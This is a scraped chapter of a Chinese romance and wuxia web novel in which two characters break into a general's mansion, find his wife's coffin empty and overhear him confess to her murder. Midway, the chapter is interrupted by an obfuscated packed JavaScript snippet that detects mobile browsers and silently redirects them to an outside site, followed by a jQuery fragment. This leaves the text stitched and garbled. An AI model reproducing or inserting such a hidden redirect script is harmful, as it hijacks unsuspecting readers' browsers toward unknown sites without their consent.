第59章
当天子时方过,奋勇将军府上的墙头一角便出现了一个黑影。
贺寒声身披夜行衣,蒙着脸,双手撑在墙头探出脑袋来观察了片刻,低声开口:“此时防卫松懈,你跟在我后头,当心些便好。”
“……”同样披着黑色斗篷的沈岁宁从他怀里钻上来,侧过脸来看他,未置一语。
便是戴了面具,贺寒声还是从她那双被帽檐阴影遮蔽了的漂亮眼睛中看出了几分幽怨,他不由低笑了声:“让你在家等我又不肯,跟着来了又摆出这副模样。”
沈岁宁“嘁”了声,“我都好心陪你来了,你管我摆什么样?”
说罢,沈岁宁便双手撑起身子,轻盈地从墙上翻进了院子。
贺寒声赶紧跟上。
贺不凡的将军府虽不及永安侯府防卫森严,但也时常有府兵巡守,好在夜深已深,两人又身手矫健,借着夜色的便利很容易便躲过了四处的侍卫。
四周的屋子一片漆黑,只有灵堂内燃了烛光,有仆人和丫鬟在里头守夜,棺柩入土之前,灵前的蜡烛是不能熄的,否则亡者便无法安息,魂魄日日徘徊在生前住处,让生者也过不得安生日子。
因此,即便贺不凡对周好已然毫无情谊可言,也依旧派人轮流为她守灵,确保亡魂能早入轮回。
沈岁宁和贺寒声躲在假山后面,打老远便看到了灵堂内的情形。
白日里府上人多,倒不觉得有什么不妥之处,可如今三更半夜,院子当中仅剩的光源只有绕着周好的棺柩和灵位的那一圈白色蜡烛,灵堂门前的白绸随着阵阵阴风似有若无地飘动着,仿佛人影一般,加上深夜里几乎听不到人语的寂静,氛围便格外地瘆人起来。
沈岁宁吞了吞口水,下意识往贺寒声身边靠拢,小声嘀咕:“这气氛,一看便知那周好死不瞑目。贺不凡也不知请个道士和尚什么的来超度一下。”
“贺不凡若信这鬼神之说,怕也不会对自己的发妻下如此狠手了。”
贺寒声知道沈岁宁有些害怕,一只手虚揽在她肩头轻轻往怀里带,他目光注视着屋内寥寥数人,轻声说:“得再靠近些才好。”
沈岁宁点点头,虽然她心里有些发怵,但还是乖乖跟在贺寒声后头,并从怀里掏出了早已准备好的安魂香。
她把安魂香塞进小小一只吹火筒中,用火折子点燃,对着灵堂的方向猛吹了几口。
安魂香随着烟飘进了灵堂,很快便起了作用,屋内守夜的下人们渐渐垂下头,没了动静。
两人等了片刻,轻手轻脚地进入灵堂,沈岁宁又往焚烧祭品的火盆里撒了一把安魂香,以确保灵堂内的人在短时间内不会醒来。
撒完之后,沈岁宁下意识双手合十对着周好的灵位拜了拜,随即赶紧回到贺寒声身边,他现在已经站在了周好的棺柩旁,一副即可就要开棺的架势。
沈岁宁赶紧先拦住他,把他拖到棺柩后面隐秘的位置蹲下来藏身,“你想好了?便是开了棺,以你我的能力未必能看出来她的真实死因是什么,况且尸身入棺前都是经过了处理的,说不定仅有的蛛丝马迹都已经被贺不凡抹去了呢?”
“我当然知晓。只是如你所言,开棺验尸是唯一能知道周好死因的方法,我必须一试。”贺寒声态度坚决。
沈岁宁也明白这是没有办法的办法,并没有过多劝阻,只提醒:“那你速度快些,别弄出太大的动静来。”
贺寒声点头。
两人同时起身,贺寒声站在棺柩后方,沈岁宁侧身半蹲在旁给他放风,有安魂香在,灵堂内的人倒是不会轻易醒来,她要提防的是门外会不会突然来人。
贺寒声两手放在棺盖侧边,轻声道了句:“得罪了。”
话音落,他丹田发力,将沉重的棺盖推开,发出的沉闷声响让一旁的沈岁宁忍不住起了一身的鸡皮疙瘩。
半晌没听见贺寒声说话,沈岁宁不由侧过脸。
见他垂眸盯着棺柩内,脸色微微发白,沈岁宁心里“咯噔”一下,立刻问:“怎么了?”
“棺柩,”贺寒声神情沉重,一字一顿,“是空的。”
沈岁宁眼神一凛,站直了身子看向棺柩内,里面只有一些疑似周好生前的金银饰物和一身干干净净的衣裳,周好的遗体却不知所踪。
两人对视一眼,沈岁宁顿时觉得毛骨悚然,正要说什么的时候,外头突然传来了一阵脚步声。
“有人来了!”
贺寒声立刻将棺盖合上,蹲坐在棺柩后方藏身,为了隐秘起见,他把沈岁宁按在自己怀里,背靠着棺柩用自己的身体将她挡住,又抬手将两人附近的白烛熄灭。
昏暗当中,沈岁宁半跪在贺寒声两腿之间,心跳如擂鼓一般。
脚步声渐渐靠近灵堂,贺寒声捂住沈岁宁的口鼻,自己也闭住了气息。
声音在灵堂前有一瞬的滞留,而后进到了灵堂内,贺寒声透过棺柩架子的缝隙,看清了来人。
是贺不凡。
贺寒声微微蹙眉。
虽然周好的棺柩清晨时分便要入土,可贺不凡并不是会特地来同她道别的人,何况棺柩是空的,周好的遗体怕是早已被他放在了别处。
纸钱和蜡烛燃烧的味道盖过了安魂香,贺不凡并没有察觉到异常,只是扫视了一眼四周,看到守夜的仆人们都沉沉睡了过去,而周好灵前的烛光也已经岌岌可危。
他轻笑了一声,从桌下取了一支新的蜡烛续上,又取了把黍稷梗扔进火盆当中。
做完这一切,贺不凡注视着周好的灵位,轻笑了声:“我早说你不得人心,你偏不信。如今你死了,连给你续蜡烛的仆人都不上心,若人死后真有魂魄,怕是你看到了,又要怄气伤心。”
“好好啊,并非为夫无情,”贺不凡伸手触碰着灵位,如同抚摸爱人的脸颊一般,尽管他眼里并无半点温情,“我清楚的,若不是为了你那没用的弟弟,你不会轻易听我的话。你弟弟死了,拴在你嘴上的绳子也就彻底断了。所以,他死了,你也不能活。”
躲藏在棺柩后的两人听得真切,默默对视一眼,心下了然,不敢发出任何声响。
贺不凡丝毫没有察觉灵堂里还有别人,依旧对着周好的灵位自言自语。
“周好,别怪我心狠,不顾及你我二十多年的夫妻情谊。要怪,就怪你那愚蠢的弟弟,若不是他做事不谨慎,也不至于落到如今这样的地步。你知道的,他不死,我也是愿意把你留在身边的。你的性子虽然跟他一样软弱,却是绵里藏针,我最喜欢不过的了。”
“我这也是为了让你们姐弟二人早日在阴间团聚,好好。周符胆子那样小,若是没你这个姐姐作伴,怕是到了地府也是个无甚用处的废物。你在人世间也放不下他,不如早下去的好。我都是为了你们好。”
贺不凡口中的话越来越病态,尤其在灵堂这样诡异的氛围当中,让人愈发地不寒而栗。
沈岁宁的身体难以控制地轻轻颤抖,贺寒声察觉后,揽着她的手臂紧了紧,将她牢牢圈在自己怀中。
“你的棺柩明日入土,我这做丈夫的来送送你,陪你说会话,也算是尽最后的心力。”贺不凡收回手背在身后,略显沧桑的眼里露出几分阴鸷。
“对了,你下去后若是见到贺长信——”
贺不凡一字一顿,“别忘了告诉他,他死得不冤。日后总有在底下重逢的一天,你记得提前跟他说好,他的死,可不能全算在我头上。”
……<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323955|171634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>天擦亮前,贺寒声和沈岁宁翻墙出来。
看到两人平安无事,并未惊动其他人,在外面接应的沈凤羽和灵芮终于松了一口气。
两人提着灯迎上前,这才发现贺寒声的脸色难看至极,连沈岁宁的神情也比进去前沉重许多。
沈凤羽和灵芮不由对视一眼,不约而同问:“你们两个脸色怎么都这样难看?发生了何事?”
沈岁宁摇摇头,而站在她旁边的贺寒声一言不发地往前走了。
见状,沈凤羽脱口问道:“你俩又打架了?”
“……”沈岁宁看她一眼,无语凝噎,“我也没有斤斤计较到不分场合的程度吧?”
沈凤羽干笑两声,想想觉得也是,他们两个都不是那种不顾大局的人,即便有什么口角,也不至于在这种时候大打出手。
三人参差错落着走在后面,与贺寒声保持着不远不近的距离,灵芮和沈凤羽一左一右给沈岁宁掌着灯,都没有说话。
沈岁宁心里琢磨着,沈彦一直记挂着贺长信的真实死因,贺寒声也在暗地里调查了三年未果,如今竟这般得来全不费工夫,无意当中让他们知晓了贺长信的死,竟然与贺不凡有关。
听他那话的意思,即便贺不凡不是直接杀害贺长信的凶手,怕是也脱不了干系,沈岁宁想着这事儿一直都是沈彦和魏照在查,她从未插手,但眼下他们两人都还在从扬州回来的路上,大约要过些日子才会到京城。
沈岁宁觉得这事儿耽搁不得,思来想去,她叫了声沈凤羽,问:“你今日去见了小九,她可知云州那边的事情有没有新的进展?”
回扬州的这几个月,华都和云州那边的消息都是通过洛九寻来搜集和转达的,这也是沈凤羽刚安顿下来便立刻去九霄天外见她的原因。
只是云州那边正在查的事向来不归沈岁宁管,她突然问起来,沈凤羽觉得有几分奇怪,但还是如实道:“听她说千机阁的人似乎在云州找到了新的人证,但与人证接触的过程当中受到了些阻碍,魏阁主已经亲自赶过去了。”
“他人在船上,赶过去不知还要多久,”沈岁宁沉思片刻,对灵芮说:“灵芮,你和颜臻立刻带人过去支援。无论如何,在魏阁主到云州之前,一定要保证相关的人、证都完好无损。”
“是。”灵芮应了声,将手上的灯塞给了沈凤羽,纵身而起,轻盈地消失在了夜色当中。
沈凤羽看了眼灵芮消失的方向,“云州那件事,少主是不是有什么新的线索了?”
沈岁宁没承认也没否认,不过看她这副神情,沈凤羽便晓得自己猜的八九不离十,她便又问:“所以你和小侯爷刚刚那副神情,是因为知道了这个?”
“你这会儿话怎么这么多?”沈岁宁正在思考,这样频频被打断了思路,顿时便不耐烦了。
“少主啊,”沈凤羽突然停下脚步,语重心长地拍了拍她的肩膀,“这种时候,你还是先别想着接下来咱们该干什么。应该多想想,这会儿你要做点什么。”
沈岁宁被她这话说得云里雾里的,不由瞪她,“不好好说话就闭嘴。”
沈凤羽叹了口气,朝贺寒声的方向抬了抬下巴。
沈岁宁顺势望去,便看到贺寒声的背影,他虽是在往东边天蒙蒙亮的方向在走,可他独自一人缓慢踱步在黑暗的青石街道,身边无一人为他掌灯,高大的身影竟无端地生出了几分孤寂和落寞来。
沈凤羽把灯递到沈岁宁手上,她下意识接住后,先是微微一愣,回过头来,便对上沈凤羽意味深长的视线。
她一个字都没说,可沈岁宁却慢慢从她的眼神里明白了什么,她暗暗攥紧了手中的灯,内心挣扎片刻后,一路小跑着追上前。
“贺寒声!”